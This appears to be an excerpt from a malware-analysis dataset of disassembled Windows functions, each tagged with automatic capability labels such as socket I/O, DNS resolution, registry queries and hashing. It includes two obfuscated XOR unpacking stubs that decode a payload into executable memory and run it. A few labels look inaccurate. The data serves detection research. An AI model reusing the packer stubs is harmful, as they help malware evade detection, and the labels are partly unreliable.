joyce8/EMBER2024-capa huggingface dataset:
Function at 0x452980
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 8
push esi
push edi
mov edi, dword [esp + 0x14]
mov esi, dword [edi + 0x58c]
test esi, esi
je 0x4529cd
mov eax, dword [edi + 0xc]
test eax, eax
je 0x4529cd
push 0x452960
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], 0
mov edx, dword [eax + 0x64]
push ecx
push edx
call fcn.004690f0
add esp, 0xc
cmp dword [esp + 0xc], 0
jne 0x4529d6
mov dword [edi + 0x58c], 0
pop edi
or eax, 0xffffffff
pop esi
add esp, 8
ret
mov eax, dword [esp + 0x18]
test eax, eax
je 0x4529e0
mov dword [eax], esi
cmp dword [esi + 0x150], 0
mov edi, dword [esi + 0x130]
jne 0x4529cd
push 2
push 1
lea eax, [esp + 0x1c]
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x4529cd
mov eax, edi
pop edi
pop esi
add esp, 8
ret
Function at 0x454650
Capabilities:
Resolve dns

Disassembly:
sub esp, 0xc
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
push ebx
push ebp
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x1c]
xor ebx, ebx
mov dword [eax], ebx
mov eax, dword [esp + 0x20]
push edx
push eax
push ecx
mov dword [esp + 0x18], ebx
xor ebp, ebp
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov dword [esp + 0xc], eax
cmp eax, ebx
jne 0x454801
push edi
mov edi, dword [esp + 0x14]
cmp edi, ebx
je 0x4547df
push esi
jmp 0x4546a0
cmp dword [edi + 4], 2
jne 0x454758
cmp dword [edi + 0x18], ebx
je 0x454758
mov eax, dword [edi + 0x10]
cmp eax, ebx
jbe 0x454758
cmp eax, 0x10
jb 0x454758
push 0x20
call dword [0x4cd900]
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x454765
mov edx, dword [edi]
mov dword [esi], edx
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov ecx, dword [edi + 8]
mov dword [esi + 8], ecx
mov edx, dword [edi + 0xc]
push 0x10
mov dword [esi + 0xc], edx
mov dword [esi + 0x10], 0x10
mov dword [esi + 0x18], ebx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x1c], ebx
call dword [0x4cd900]
add esp, 4
mov dword [esi + 0x18], eax
cmp eax, ebx
je 0x45476f
mov ecx, dword [edi + 0x18]
mov edx, dword [ecx]
mov dword [eax], edx
mov edx, dword [ecx + 4]
mov dword [eax + 4], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov ecx, dword [ecx + 0xc]
mov dword [eax + 0xc], ecx
mov eax, dword [edi + 0x14]
cmp eax, ebx
je 0x454745
push eax
call dword [0x4cd90c]
add esp, 4
mov dword [esi + 0x14], eax
cmp eax, ebx
je 0x454783
cmp dword [esp + 0x10], ebx
jne 0x45474f
mov dword [esp + 0x10], esi
cmp ebp, ebx
je 0x454756
mov dword [ebp + 0x1c], esi
mov ebp, esi
mov edi, dword [edi + 0x1c]
cmp edi, ebx
jne 0x4546a0
jmp 0x45479f
mov dword [esp + 0x14], 8
jmp 0x45479f
push esi
mov dword [esp + 0x18], 8
call dword [0x4cd904]
add esp, 4
jmp 0x45479f
mov edx, dword [esi + 0x18]
push edx
mov dword [esp + 0x18], 8
call dword [0x4cd904]
push esi
call dword [0x4cd904]
add esp, 8
mov eax, dword [esp + 0x18]
pop esi
cmp eax, ebx
je 0x4547af
push eax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp dword [esp + 0x10], ebx
je 0x4547d9
mov eax, dword [esp + 0xc]
push eax
call fcn.00454600
mov edx, dword [esp + 0x2c]
mov eax, dword [esp + 0x14]
add esp, 4
pop edi
mov ecx, ebx
pop ebp
mov dword [esp + 4], ebx
mov dword [edx], ecx
pop ebx
add esp, 0xc
ret
cmp dword [esp + 0xc], ebx
jne 0x4547f2
push 0x2af9
mov dword [esp + 0x14], 0x2af9
call dword [sym.imp.WS2_32.dll_WSASetLastError]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x10]
mov dword [edx], ecx
pop edi
pop ebp
pop ebx
add esp, 0xc
ret

Function at 0x454b40
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
push 0
push 0
push eax
push ecx
push 0
push 0
call fcn.0048d9c2
add esp, 0x18
test eax, eax
je 0x454b63
cmp eax, 0xffffffff
jne 0x454b65
xor eax, eax
ret
Function at 0x45b8d0
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [esi + 0x10]
mov ecx, dword [eax]
push str.Connected_for_receive
push 0x4b0940
push ecx
call fcn.00450a50
add esp, 0xc
mov eax, esi
mov dword [esi], 1
call fcn.0045aa80
test eax, eax
jne 0x45b900
mov eax, esi
jmp fcn.0045aeb0
ret
Function at 0x45d950
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
mov edx, dword [edi + 0x130]
mov al, byte [esp + 8]
push esi
mov esi, dword [edi]
push 0
push 3
lea ecx, [esp + 0xc]
push ecx
push edx
mov byte [esp + 0x14], 0xff
mov byte [esp + 0x15], al
mov byte [esp + 0x16], bl
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jge 0x45d994
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Sending_data_failed___d_
push esi
call fcn.00450ae0
add esp, 0xc
mov esi, dword [esp + 0xc]
mov ecx, dword [edi]
push str.SENT
mov eax, ebx
call fcn.0045d850
add esp, 4
pop esi
pop ecx
ret
Function at 0x45e650
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
cmp dword [esp + 0xc], 0x1f
mov eax, dword [esp + 8]
mov eax, dword [eax]
push ebx
mov ebx, dword [eax + 0x86bc]
mov dword [esp + 4], eax
jne 0x45e7ba
push ebp
push esi
push edi
lea edi, [ebx + 0x1cb0]
lea ebp, [ebx + 0x1eb0]
mov dword [ebp], edi
cmp edi, ebp
jae 0x45e689
mov byte [edi], 0xff
inc dword [ebp]
mov eax, dword [ebp]
cmp eax, ebp
jae 0x45e696
mov byte [eax], 0xfa
inc dword [ebp]
mov eax, dword [ebp]
cmp eax, ebp
jae 0x45e6a3
mov byte [eax], 0x1f
inc dword [ebp]
movzx ecx, word [ebx + 0x1ca8]
mov esi, dword [sym.imp.WS2_32.dll_htons]
push ecx
call esi
movzx edx, ax
movzx eax, word [ebx + 0x1caa]
push eax
mov dword [esp + 0x20], edx
call esi
movzx ecx, ax
mov eax, dword [ebp]
cmp eax, ebp
jae 0x45e6d7
mov dl, byte [esp + 0x1c]
mov byte [eax], dl
inc dword [ebp]
mov eax, dword [ebp]
cmp eax, ebp
jae 0x45e6e7
mov dl, byte [esp + 0x1d]
mov byte [eax], dl
inc dword [ebp]
mov eax, dword [ebp]
cmp eax, ebp
jae 0x45e6f3
mov byte [eax], cl
inc dword [ebp]
mov eax, dword [ebp]
cmp eax, ebp
jae 0x45e6ff
mov byte [eax], ch
inc dword [ebp]
mov eax, dword [ebp]
cmp eax, ebp
jae 0x45e70c
mov byte [eax], 0xff
inc dword [ebp]
mov eax, dword [ebp]
cmp eax, ebp
jae 0x45e719
mov byte [eax], pe_nt_image_headers32
inc dword [ebp]
mov eax, dword [ebp]
mov esi, dword [esp + 0x10]
mov ecx, eax
sub ecx, edi
sub ecx, 2
push ecx
lea edx, [ebx + 0x1cb2]
push edx
push 0x3e
mov dword [ebx + 0x1eb4], eax
mov dword [ebp], edi
call fcn.0045dbb0
mov ebp, dword [sym.imp.WS2_32.dll_send]
add esp, 0xc
push 0
push 3
push edi
mov edi, dword [esp + 0x24]
mov eax, dword [edi + 0x130]
push eax
call ebp
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
test eax, eax
jge 0x45e779
call esi
mov ecx, dword [esp + 0x10]
push eax
push str.Sending_data_failed___d_
push ecx
call fcn.00450ae0
add esp, 0xc
lea edx, [ebx + 0x1cb3]
push 4
push edx
call fcn.0045e420
mov eax, dword [edi + 0x130]
add esp, 8
push 0
push 2
add ebx, 0x1cb7
push ebx
push eax
call ebp
test eax, eax
jge 0x45e7b7
call esi
mov ecx, dword [esp + 0x10]
push eax
push str.Sending_data_failed___d_
push ecx
call fcn.00450ae0
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x45f320
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x18
mov eax, dword [0x4cdbb4]
xor eax, esp
mov dword [esp + 0x14], eax
push ebx
mov ebx, dword [esi + 0x134]
push ebp
mov ebp, dword [esi]
push edi
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x14]
push ecx
push ebx
or edi, 0xffffffff
mov dword [esp + 0x18], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x45f374
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x14]
push eax
push ebx
mov dword [esp + 0x18], 0x10
call dword [sym.imp.WS2_32.dll_accept]
mov edi, eax
push ebx
push esi
call fcn.00452a10
add esp, 8
cmp edi, 0xffffffff
jne 0x45f3a8
push str.Error_accept__ing_server_connect
push ebp
call fcn.00450ae0
add esp, 8
pop edi
pop ebp
mov eax, 0x1e
pop ebx
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.004874cc
add esp, 0x18
ret
push str.Connection_accepted_from_server_n
push ebp
call fcn.00450a50
push 1
push edi
mov dword [esi + 0x134], edi
call fcn.0046e1d0
mov dword [esi + 0x13c], 1
mov eax, dword [ebp + 0x1a4]
add esp, 0x10
test eax, eax
je 0x45f416
mov ecx, dword [ebp + 0x1a8]
push 1
push edi
push ecx
call eax
add esp, 0xc
test eax, eax
je 0x45f416
push edi
push esi
call fcn.00452a10
add esp, 8
pop edi
pop ebp
mov dword [esi + 0x134], 0xffffffff
mov eax, 0x2a
pop ebx
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.004874cc
add esp, 0x18
ret
mov ecx, dword [esp + 0x20]
pop edi
pop ebp
pop ebx
xor ecx, esp
xor eax, eax
call fcn.004874cc
add esp, 0x18
ret
Function at 0x4684c0
Capabilities:
Parse pe header

Disassembly:
mov al, byte [esp + 4]
movsx ecx, al
add ecx, 0xffffff9f
cmp ecx, 0x19
ja case.default.0x4684cf
jmp dword [ecx*4 + 0x468524]
mov al, 0x41
ret
mov al, 0x42
ret
mov al, 0x43
ret
mov al, 0x44
ret
mov al, 0x45
ret
mov al, 0x46
ret
mov al, 0x47
ret
mov al, 0x48
ret
mov al, 0x49
ret
mov al, 0x4a
ret
mov al, 0x4b
ret
mov al, 0x4c
ret
mov al, 0x4d
ret
mov al, 0x4e
ret
mov al, 0x4f
ret
mov al, 0x50
ret
mov al, 0x51
ret
mov al, 0x52
ret
mov al, 0x53
ret
mov al, 0x54
ret
mov al, 0x55
ret
mov al, 0x56
ret
mov al, 0x57
ret
mov al, 0x58
ret
mov al, 0x59
ret
mov al, 0x5a
ret
Function at 0x46b510
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x108
mov eax, dword [0x4cdbb4]
xor eax, esp
mov dword [esp + 0x104], eax
mov eax, dword [esp + 0x10c]
push eax
call fcn.0048e50f
add esp, 4
mov byte [esp], 0
test eax, eax
je 0x46b575
push 0x104
lea ecx, [esp + 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsA]
cmp byte [esp], 0
je 0x46b575
lea edx, [esp]
push edx
call dword [0x4cd90c]
add esp, 4
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.004874cc
add esp, 0x108
ret
mov ecx, dword [esp + 0x104]
xor ecx, esp
xor eax, eax
call fcn.004874cc
add esp, 0x108
ret
jmp 0x46b510

Function at 0x46b590
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x108
mov eax, dword [0x4cdbb4]
xor eax, esp
mov dword [esp + 0x104], eax
mov eax, dword [esp + 0x10c]
push eax
call fcn.0048e50f
add esp, 4
mov byte [esp], 0
test eax, eax
je 0x46b575
push 0x104
lea ecx, [esp + 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsA]
cmp byte [esp], 0
je 0x46b575
lea edx, [esp]
push edx
call dword [0x4cd90c]
add esp, 4
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.004874cc
add esp, 0x108
ret
mov ecx, dword [esp + 0x104]
xor ecx, esp
xor eax, eax
call fcn.004874cc
add esp, 0x108
ret
jmp 0x46b510
Function at 0x46e200
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov eax, dword [esp + 4]
push ebx
mov ebx, dword [eax + 0x2c]
push esi
push edi
mov edi, dword [ebx]
mov esi, dword [edi + 0x1e0]
test esi, esi
jne 0x46e219
mov esi, dword [eax + 0x28]
mov ecx, dword [eax + 0x24]
mov edx, dword [eax + 0x20]
push ecx
push edx
call fcn.00455600
push edx
push eax
call fcn.00455630
add esp, 0x10
sub esi, eax
cmp dword [edi + 0x1d4], 0
je 0x46e266
mov eax, dword [ebx + 0x124]
mov ecx, dword [ebx + 0x120]
push eax
push ecx
call fcn.00455600
push edx
push eax
call fcn.00455630
mov ecx, dword [edi + 0x1d4]
sub ecx, eax
add esp, 0x10
cmp esi, ecx
mov eax, ecx
jge 0x46e268
mov eax, esi
pop edi
pop esi
pop ebx
ret

Function at 0x46f350
Capabilities:
Create new key via cryptacquirecontext
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
sub esp, 8
push 0xf0000000
push 1
push 0
push 0
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x46f385
mov edx, dword [esp]
lea ecx, [esp + 4]
push ecx
push 0
push 0
push 0x8003
push edx
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
push esi
mov esi, dword [esp + 0x14]
mov eax, esi
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x46f390
sub eax, edx
push eax
call fcn.004545e0
add esp, 4
push 0
push eax
mov eax, dword [esp + 0x10]
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
mov edx, dword [esp + 0x10]
lea ecx, [esp + 4]
push ecx
push edx
call fcn.0046f2f0
add esp, 8
pop esi
add esp, 8
ret
Function at 0x4874cc
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4cdbb4]
jne 0x4874d6
repz ret
jmp fcn.0049240c

Function at 0x4a1b77
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0048f601
and dword [ebp - 4], 0
cmp dword [0x4d0394], 0
mov ebx, eax
jne 0x4a1c28
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4a1cd9
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4a1cd9
push eax
call fcn.0048f58f
mov dword [esp], 0x4bc490
push edi
mov dword [0x4d0394], eax
call esi
push eax
call fcn.0048f58f
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4d0398], eax
call esi
push eax
call fcn.0048f58f
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4d039c], eax
call esi
push eax
call fcn.0048f58f
pop ecx
mov dword [0x4d03a4], eax
test eax, eax
je 0x4a1c28
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0048f58f
pop ecx
mov dword [0x4d03a0], eax
mov eax, dword [0x4d03a0]
cmp eax, ebx
je 0x4a1c80
cmp dword [0x4d03a4], ebx
je 0x4a1c80
push eax
call fcn.0048f60a
push dword [0x4d03a4]
mov esi, eax
call fcn.0048f60a
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4a1c80
test edi, edi
je 0x4a1c80
call esi
test eax, eax
je 0x4a1c77
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4a1c77
test byte [ebp - 0xc], 1
jne 0x4a1c80
or dword [ebp + 0x10], 0x200000
jmp 0x4a1cb9
mov eax, dword [0x4d0398]
cmp eax, ebx
je 0x4a1cb9
push eax
call fcn.0048f60a
pop ecx
test eax, eax
je 0x4a1cb9
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4a1cb9
mov eax, dword [0x4d039c]
cmp eax, ebx
je 0x4a1cb9
push eax
call fcn.0048f60a
pop ecx
test eax, eax
je 0x4a1cb9
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4d0394]
call fcn.0048f60a
pop ecx
test eax, eax
je 0x4a1cd9
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4a1cdb
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a9b5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x40a9c4
pop dword [ebp - 0x50]
mov eax, 0xa702a3d8
add eax, 0x593e05ec
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x4f531
push 0
mov eax, 0xe868853c
add eax, 0x17dc2d74
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0x42f4
mov edi, eax
mov edx, 0xc331f276
sub edx, 0xc2e96476
add edx, dword [ebp - 0x50]
mov esi, 0x45151563
xor dword [ebp - 0x38], ecx
mov ebx, dword [edx]
xor dword [ebp - 0x1c], 0x1264a5ff
sub ebx, esi
xor dword [ebp - 0x40], 0x6a52bccf
mov dword [edi], ebx
add dword [ebp - 0x2c], ecx
add edi, 0x61a36874
add edi, 0x9e5c9790
add edx, 0xe920c9da
add edx, 0x16df362a
loop 0x40aa17
add eax, 0xa03eb083
sub eax, 0xa03db1e0
xor ebx, ebx
add ebx, eax
add eax, 0xeca5d60e
sub eax, 0xeca5d609
mov ecx, 0x400000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x4400c9
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46c6d0
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x44010c
push str.SystemFunction040
push dword [0x46c6d0]
call edi
push str.SystemFunction041
push dword [0x46c6d0]
mov dword [0x46c6c0], eax
call edi
mov dword [0x46c6c4], eax
jmp 0x440111
mov eax, dword [0x46c6c4]
cmp dword [0x46c6c0], 0
je 0x440122
test eax, eax
jne 0x4401c9
push 0x46c6d4
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x4401d3
push str.CryptProtectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c0], 0
mov dword [0x46c6c8], eax
jne 0x440187
test eax, eax
jne 0x440187
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x440171
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x440178
mov esi, 0x80004005
push esi
push 0x28
push str.c:_agent_work138_s_srclibsdutilcryputil.cpp
call fcn.004038f5
jmp 0x4401d3
push str.CryptUnprotectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c4], 0
mov dword [0x46c6cc], eax
jne 0x4401c9
test eax, eax
jne 0x4401c9
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x4401bd
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x4401c4
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x44017b
mov dword [0x46c6d8], 1
pop edi
mov eax, esi
pop esi
ret
Function at 0x405f2e
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42bdb4], 0
push esi
jne 0x405f65
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f3f
mov dword [ecx*4 + 0x42bdb0], eax
inc ecx
cmp ecx, 0x100
jl 0x405f3a
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405f96
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x42bdb0]
xor eax, esi
inc ecx
dec edx
jne 0x405f78
pop edi
not eax
pop esi
ret 0xc

Function at 0x1001d10
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac0
push ebx
push esi
push edi
push 0x1e
pop ecx
mov esi, 0x1001c50
lea edi, [ebp - 0x98]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor edi, edi
cmp dword [ebp + 0x10], edi
push 0x7a
mov dword [ebp - 0x1c], 0x80000002
mov dword [ebp - 0x18], 0x80000001
pop ebx
jbe 0x1001e45
mov eax, dword [ebp + 0xc]
mov word [eax], di
mov dword [ebp - 4], edi
mov eax, dword [ebp + 0xc]
cmp word [eax], di
jne 0x1001e45
lea eax, [ebp - 0x10]
push eax
push 1
push edi
lea eax, [ebp - 0x98]
push eax
mov eax, dword [ebp - 4]
push dword [ebp + eax*4 - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, eax
cmp ebx, edi
jne 0x1001e38
xor esi, esi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x6b0]
push eax
lea eax, [ebp - 0xc]
push eax
push edi
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x2a0]
push eax
push esi
push dword [ebp - 0x10]
mov dword [ebp - 0x14], 0x104
mov dword [ebp - 8], 0x410
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov ebx, eax
inc esi
cmp ebx, edi
jne 0x1001e2f
cmp dword [ebp - 8], 2
jbe 0x1001e23
cmp dword [ebp - 0xc], 1
je 0x1001dd2
cmp dword [ebp - 0xc], 2
jne 0x1001e23
lea eax, [ebp - 0x2a0]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x1001e23
push 0x208
lea eax, [ebp - 0xac0]
push eax
lea eax, [ebp - 0x6b0]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
cmp eax, edi
je 0x1001e23
add eax, 2
cmp eax, dword [ebp + 0x10]
jae 0x1001e23
lea eax, [ebp - 0xac0]
push eax
push 0x1001c40
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov eax, dword [ebp + 0xc]
cmp word [eax], di
je 0x1001d86
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jb 0x1001d53
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 0xc

Function at 0x1001f7d
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x46c
push ebx
push esi
push edi
push 0xe
pop ecx
xor esi, esi
xor eax, eax
mov dword [ebp - 0x40], esi
lea edi, [ebp - 0x3c]
push esi
rep stosd dword es:[edi], eax
call sub.IMM32.dll_ImmDisableIME
push dword [ebp + 8]
jmp loc.01004000
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x403203
pop dword [ebp - 0x34]
mov eax, 0x16aa184a
sub eax, 0x1669e647
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x29ef2bb7
sub dword [ebp - 0x44], 0xdb9ce66c
mov dword [ebp - 0x40], 0x391f0414
sub dword [ebp - 0x40], 0x6ebb7cf
mov dword [ebp - 0x3c], 0x5a130faf
add dword [ebp - 0x3c], 0xf239347f
mov dword [ebp - 0x38], 0x2b7d1795
add dword [ebp - 0x38], 0xd482e86b
lea eax, [ebp - 0x44]
push eax
mov eax, 0xf3d13907
sub eax, 0xf390c8a3
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0xf124d9b4
add dword [ebp - 0x44], 0x834d8fa2
mov dword [ebp - 0x40], 0x897f9444
add dword [ebp - 0x40], 0xb7eccd31
mov dword [ebp - 0x3c], 0x79332426
sub dword [ebp - 0x3c], 0x15c3b7ba
mov dword [ebp - 0x38], 0xbaef9921
add dword [ebp - 0x38], 0x451066df
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0x8b1f76d5
add eax, 0x7520f9d3
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x37399
push 0
call eax
mov ecx, 0x4a86
xor edi, edi
add edi, eax
mov ebx, 0x5be9cbb0
add ebx, 0xa4573450
add ebx, dword [ebp - 0x34]
mov edx, 0xc71506c
add edx, 0x6c2ff285
xor dword [ebp - 4], esi
mov esi, dword [ebx]
sub dword [ebp - 8], ebx
xor esi, edx
xor dword [ebp - 0x10], edx
mov dword [edi], esi
sub dword [ebp - 0x30], 0x3c2252b6
add edi, 0x80591d23
add edi, 0x7fa6e2e1
add ebx, 0x7fe9f107
add ebx, 0x80160efd
loop 0x403321
add eax, 0x14db7a9d
add eax, 0xeb25a24e
mov ebx, eax
add eax, 0xdaffde58
add eax, 0x250021ad
mov ecx, 0x400000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret